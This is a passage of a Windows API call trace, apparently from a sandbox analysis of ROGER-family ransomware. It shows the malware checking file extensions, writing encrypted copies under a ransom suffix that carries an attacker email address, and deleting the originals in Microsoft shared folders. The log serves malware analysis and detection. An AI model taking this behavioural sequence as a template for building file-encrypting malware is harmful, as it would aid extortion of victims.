dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.303] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=3584) returned 1 [0057.303] CloseHandle (hObject=0x3fc) returned 1 [0057.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0057.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.303] lstrlenW (lpString=".doc") returned 4 [0057.303] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.303] lstrlenW (lpString=".docx") returned 5 [0057.303] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.303] lstrlenW (lpString=".pdf") returned 4 [0057.303] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.303] lstrlenW (lpString=".xls") returned 4 [0057.303] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.303] lstrlenW (lpString=".xlsx") returned 5 [0057.303] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.303] lstrlenW (lpString=".ppt") returned 4 [0057.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.303] lstrlenW (lpString=".zip") returned 4 [0057.303] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.303] lstrlenW (lpString=".rar") returned 4 [0057.304] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.304] lstrlenW (lpString=".bz2") returned 4 [0057.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.304] lstrlenW (lpString=".7z") returned 3 [0057.304] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString=".dbf") returned 4 [0057.304] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString=".1cd") returned 4 [0057.304] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString=".jpg") returned 4 [0057.304] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString=".doc") returned 4 [0057.304] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.304] lstrlenW (lpString=".docx") returned 5 [0057.304] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.304] lstrlenW (lpString=".pdf") returned 4 [0057.304] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.304] lstrlenW (lpString=".xls") returned 4 [0057.304] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.304] lstrlenW (lpString=".xlsx") returned 5 [0057.304] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.304] lstrlenW (lpString=".ppt") returned 4 [0057.304] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.304] lstrlenW (lpString=".zip") returned 4 [0057.304] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.305] lstrlenW (lpString=".rar") returned 4 [0057.305] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.305] lstrlenW (lpString=".bz2") returned 4 [0057.305] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.305] lstrlenW (lpString=".7z") returned 3 [0057.305] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.305] lstrlenW (lpString=".dbf") returned 4 [0057.305] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.306] lstrlenW (lpString=".1cd") returned 4 [0057.306] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.306] lstrlenW (lpString=".jpg") returned 4 [0057.307] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.307] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.307] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.307] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=3584) returned 1 [0057.307] CloseHandle (hObject=0x3fc) returned 1 [0057.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0057.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.308] lstrlenW (lpString=".doc") returned 4 [0057.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.308] lstrlenW (lpString=".docx") returned 5 [0057.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.308] lstrlenW (lpString=".pdf") returned 4 [0057.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.308] lstrlenW (lpString=".xls") returned 4 [0057.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.308] lstrlenW (lpString=".xlsx") returned 5 [0057.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.308] lstrlenW (lpString=".ppt") returned 4 [0057.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.308] lstrlenW (lpString=".zip") returned 4 [0057.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.308] lstrlenW (lpString=".rar") returned 4 [0057.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.308] lstrlenW (lpString=".bz2") returned 4 [0057.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.308] lstrlenW (lpString=".7z") returned 3 [0057.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.308] lstrlenW (lpString=".dbf") returned 4 [0057.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString=".1cd") returned 4 [0057.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString=".jpg") returned 4 [0057.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString=".doc") returned 4 [0057.309] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.309] lstrlenW (lpString=".docx") returned 5 [0057.309] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.309] lstrlenW (lpString=".pdf") returned 4 [0057.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.309] lstrlenW (lpString=".xls") returned 4 [0057.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.309] lstrlenW (lpString=".xlsx") returned 5 [0057.309] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.309] lstrlenW (lpString=".ppt") returned 4 [0057.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString=".zip") returned 4 [0057.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.309] lstrlenW (lpString=".rar") returned 4 [0057.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.309] lstrlenW (lpString=".bz2") returned 4 [0057.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.309] lstrlenW (lpString=".7z") returned 3 [0057.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.309] lstrlenW (lpString=".dbf") returned 4 [0057.309] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.310] lstrlenW (lpString=".1cd") returned 4 [0057.310] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.310] lstrlenW (lpString=".jpg") returned 4 [0057.310] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.310] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.310] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.329] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=4096) returned 1 [0057.329] CloseHandle (hObject=0x39c) returned 1 [0057.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0057.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0057.330] lstrlenW (lpString=".doc") returned 4 [0057.330] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.330] lstrlenW (lpString=".docx") returned 5 [0057.330] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.330] lstrlenW (lpString=".pdf") returned 4 [0057.330] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.330] lstrlenW (lpString=".xls") returned 4 [0057.330] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.330] lstrlenW (lpString=".xlsx") returned 5 [0057.330] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.330] lstrlenW (lpString=".ppt") returned 4 [0057.330] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0057.330] lstrlenW (lpString=".zip") returned 4 [0057.330] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.330] lstrlenW (lpString=".rar") returned 4 [0057.330] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.330] lstrlenW (lpString=".bz2") returned 4 [0057.330] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.330] lstrlenW (lpString=".7z") returned 3 [0057.330] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0057.330] lstrlenW (lpString=".dbf") returned 4 [0057.330] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0057.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0057.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0057.463] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.463] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.464] GetLastError () returned 0x0 [0057.464] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x665a0, lpOverlapped=0x0) returned 1 [0057.472] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0057.534] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.534] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.535] SetEndOfFile (hFile=0x35c) returned 1 [0057.535] CloseHandle (hObject=0x35c) returned 1 [0057.535] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.535] SetEndOfFile (hFile=0x3ec) returned 1 [0057.539] CloseHandle (hObject=0x3ec) returned 1 [0057.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.540] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0057.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.540] lstrlenW (lpString=".doc") returned 4 [0057.540] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString=".docx") returned 5 [0057.540] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0057.540] lstrlenW (lpString=".pdf") returned 4 [0057.540] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString=".xls") returned 4 [0057.540] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString=".xlsx") returned 5 [0057.540] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0057.540] lstrlenW (lpString=".ppt") returned 4 [0057.540] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.540] lstrlenW (lpString=".zip") returned 4 [0057.540] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString=".rar") returned 4 [0057.540] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.540] lstrlenW (lpString=".bz2") returned 4 [0057.540] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.541] lstrlenW (lpString=".7z") returned 3 [0057.541] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString=".dbf") returned 4 [0057.541] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString=".1cd") returned 4 [0057.541] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString=".jpg") returned 4 [0057.541] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString=".doc") returned 4 [0057.541] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString=".docx") returned 5 [0057.541] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0057.541] lstrlenW (lpString=".pdf") returned 4 [0057.541] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString=".xls") returned 4 [0057.541] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString=".xlsx") returned 5 [0057.541] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0057.541] lstrlenW (lpString=".ppt") returned 4 [0057.541] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.541] lstrlenW (lpString=".zip") returned 4 [0057.541] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString=".rar") returned 4 [0057.541] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.541] lstrlenW (lpString=".bz2") returned 4 [0057.542] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.542] lstrlenW (lpString=".7z") returned 3 [0057.542] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.542] lstrlenW (lpString=".dbf") returned 4 [0057.542] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.542] lstrlenW (lpString=".1cd") returned 4 [0057.542] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0057.542] lstrlenW (lpString=".jpg") returned 4 [0057.542] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.542] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.542] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0057.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.543] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=26624) returned 1 [0057.543] CloseHandle (hObject=0x3ec) returned 1 [0057.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0057.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.543] lstrlenW (lpString=".doc") returned 4 [0057.543] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.543] lstrlenW (lpString=".docx") returned 5 [0057.543] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.543] lstrlenW (lpString=".pdf") returned 4 [0057.543] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.543] lstrlenW (lpString=".xls") returned 4 [0057.543] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.543] lstrlenW (lpString=".xlsx") returned 5 [0057.543] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.543] lstrlenW (lpString=".ppt") returned 4 [0057.543] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.543] lstrlenW (lpString=".zip") returned 4 [0057.543] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.543] lstrlenW (lpString=".rar") returned 4 [0057.543] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.544] lstrlenW (lpString=".bz2") returned 4 [0057.544] 